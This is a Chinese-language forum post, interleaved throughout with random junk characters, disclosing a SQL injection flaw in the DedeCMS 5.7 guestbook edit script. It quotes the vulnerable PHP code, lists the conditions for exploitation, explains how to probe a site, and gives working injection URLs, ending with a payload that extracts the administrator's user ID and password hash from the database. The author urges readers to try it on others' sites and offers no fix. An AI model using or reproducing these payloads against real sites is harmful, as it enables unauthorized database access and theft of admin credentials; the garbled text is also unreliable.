影响版本为5.7
/ @1 b4 e- o% V3 l( D3 ^, G% f; z* n4 K
漏洞文件edit.inc.php具体代码:/ h! V1 h5 @# i' T7 l
8 m3 O! F# |7 F {4 x' z- p< ?php
+ O: I+ t" w* h0 L
9 O9 N# @0 C& {" Q- ^if(!defined('DEDEINC')) exit('Request Error!'); O& R: U1 V9 x" U8 D; R
0 \; Z' y# L; z4 d* ]1 w
9 \" p4 X5 m# n$ m8 g4 m5 h# [, q8 b; l6 J2 W5 F
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
7 a, ?7 X, q8 ?$ n' d
% G) U: \6 b E1 r; V) lelse $GUEST_BOOK_POS = "guestbook.php"; . R' F9 k. v0 c: u2 C- r* I
5 Z: e$ m; T* R0 p4 J, @' _9 @. I
6 E2 y$ ~/ t* q3 k' [2 j
: v5 A, s0 O+ _! ]6 u$ t7 [) }5 m$id = intval($id);
+ x/ k; c3 K) a5 N$ ]/ e: A
4 p" D- ]2 \) K7 p8 kif(empty($job)) $job='view'; " J$ \; P. ^8 T* p$ B
' L0 @ G9 @7 p1 l
w4 t2 R8 |" G; |/ ]" ]7 j7 n9 ^9 G
if($job=='del' && $g_isadmin)
; R2 M5 A2 V3 R: m' K) U2 h) m' B$ ]
; _) U# u$ L% M. u; d4 l. b{ ! ^% `) e" j5 `# w! B5 a3 n
$ ^" `: N3 R7 e: r( t7 H$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
9 ^7 f# K4 @! s1 @- L( {
7 f, ^, B: s7 K" D& L) f3 nShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); ( `8 ^/ A9 h! Y& E, K( e
8 S" E# ~% e% i# T' z; j
exit();
% i# W# m& Q- S) h) F
, ~( ~+ {* \, T" V; v8 [5 B} ' b# Q3 ]; X& K# _& v1 t
4 l! g# l) f7 m$ o2 T" r, N% C
else if($job=='check' && $g_isadmin) . R8 W# s7 b; N/ \8 q
& e! q( k( G( h" F6 G/ {+ q{ " q) z" O& {( n; N1 f* E
. ]8 J9 n3 _) P7 P0 N* _/ N
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
% j% m* v0 D& Y4 y: Z* v- z+ h
1 H' E; F7 n s, cShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
) B6 d# w- {/ x' J$ E B2 j8 f$ b4 y3 C
exit(); 9 q! [3 P& K6 a0 `
: \) N2 x( h5 R/ J5 w& G1 ?1 U} & W; T! _ ~! S9 A
4 k& Z9 Q0 }3 f* Qelse if($job=='editok')
& w% ^, z" a! O' b5 |4 H; A& l2 x8 q4 J7 z* u" w! |
{
% v! R9 }; Q: E. _, M `# w9 H3 [( ]6 U( a8 _) D' L
$remsg = trim($remsg);
/ Z! B) D$ B* Z; @6 J
/ L+ @; h+ s1 Sif($remsg!='')
3 K+ h2 E% Q+ Y* G
. I* X, [+ \% z* i3 G$ e' ~{ ' P6 u- ^& g8 Z) V5 g
9 i" W% v& a" [8 U. x3 m$ Y# d
//管理员回复不过滤HTML By:Errorera blog:errs.cc + Q* a4 F; ?' W! W0 N d6 |
- h4 w/ n8 w5 T2 s6 J q0 Q) B. zif($g_isadmin) ' y1 F, A8 ?2 m4 d- J5 r+ E {) d! U- c
l1 |! H* r$ c+ e: Y7 I6 ~# G{ 1 t7 p) r" k+ j( y7 a/ [( q3 `
6 b% }. h0 W% v* y$ B# A% b
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 4 e' }( c& I& y
8 W: u, m I& l a2 G
//$remsg <br /><font color=red>管理员回复:</font> }
2 ~! D4 U* |+ W+ f, }" B! E( r1 p5 z
else
7 Z% z3 K) l1 [/ K" z4 k: W% A9 S% Y& S; h7 [, O. E+ }2 [
{
# M' T4 N9 r) x$ \$ S' D# D0 _
, [. [+ \: h) h$ S+ ?$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
3 k. _' D/ h+ T1 I" `
T9 a# J1 }% g& g$ X% W$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
8 q6 ^- P+ j) C5 D, C' M) E) o. b+ c5 m* M- g! u
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
! a$ n( x! Q* j2 x3 A- s) d z/ S4 v7 F
$msg = $oldmsg.$remsg; t% N2 k! M5 _% l& f' _1 y
- C3 \* p" x0 X9 \6 G}
% [8 u- o' T- O4 T6 y& `4 I) I; s1 T) w! \7 f; a
}
( e2 ]2 ^/ @$ q! h) \- J% i& `% K( q7 Y1 q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc $ P. k$ j5 G. E' U; o9 u+ ~) C
! u. T/ k4 X; t! ~1 X, P( J$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); $ i: s' u6 H' w6 {
/ r* F& k; H" B" m J6 V6 D. B2 ^ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ' O7 [) Q0 B' ^- k
% z* t* p$ N& g) ?7 W$ T Sexit(); ) D/ y) S. F2 [' m
8 a: S! c- }5 ?9 ~9 u0 X}
, h, f9 Y+ O. V$ e
0 E. C5 U9 t& ~4 L. \//home:www.errs.cc 8 s2 T( F D/ H
6 G3 y8 l) ^" M P" }if($g_isadmin) ; X; }# h0 x% s% m/ H. V
/ m9 k' r6 k" x. X! R+ T
{ & X- s/ n& H0 z: h- ^* H+ }. l6 {
h1 g/ w5 [2 ?- _+ T$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
( M. b) X, K+ b& q- R
; e4 y5 q) ?1 s; x) i8 O) H5 R, d, Drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
6 f# v3 C; W2 }
' }5 a4 K/ o* K" t0 H' P/ _}
6 N; K" X- U( M. k" I5 R) e, w/ ?* m/ _, W3 c% ~
else
( A3 f( a* ]6 t. }$ ~
# K3 E9 D4 _$ R8 J% y+ V{ B: z1 ?4 e% ]4 D( h6 L1 F
+ e3 f" E" k" d; F P; u! d
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
& ^ X7 I8 H d* E P3 S+ D7 Q' a/ }
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
' z* Q# F H/ A% N9 A* \0 ~* U" B$ g, m0 l: v- Z& m" N3 g
} 漏洞成功需要条件:+ `6 }, ]: [1 t; s8 [
1. php magic_quotes_gpc=off) `7 L; W% R# U1 ]& f3 F
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 f& J) V7 V, V4 E2 i# Y
3 J4 R# P/ f `0 E% M) r; d" o怎么判断是否存在漏洞:
) S7 P+ ]3 O0 V6 T8 d* V8 w先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
" j# q2 A+ a8 Z: e/ f6 g9 F. Z# M' S然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID* Z, U: r- A& v) z4 b5 E2 v
访问:
4 S: Z: n4 b4 p8 T7 _6 y
, ?" P( J( W# f/ n* |1 i2 p! Lwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
" y$ Z' k, M' Q& N跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
( T1 u, H0 Y) k0 ?- A6 G
2 ?) X8 X$ A4 E/ ~8 t$ ^
- ~2 a" _" k" k6 R1 F/ d+ \4 }" U明漏洞无法利用应为他开启了 php magic_quotes_gpc=off; I: y, ^' M. O' V, V1 Z" L/ v9 R
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 i( d3 Z* ^ j- |+ n那么再次访问1 ?" y3 U8 `! S% s7 d& v6 A
- B/ F; K& s: O4 T* Nwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
' R$ D: ?7 r2 b: M; p$ N- l/ Y3 ]1 z: Y
大概利用就是这样,大家有兴趣的多研究下!!
7 ]4 q* q3 B) b* z3 b+ o% f: u% Q/ Y0 ]* G! h* C$ Y u5 K
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!/ v6 i6 O; K2 Z r2 Q: U( G; B
# d" G$ f# E) V# y$ Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |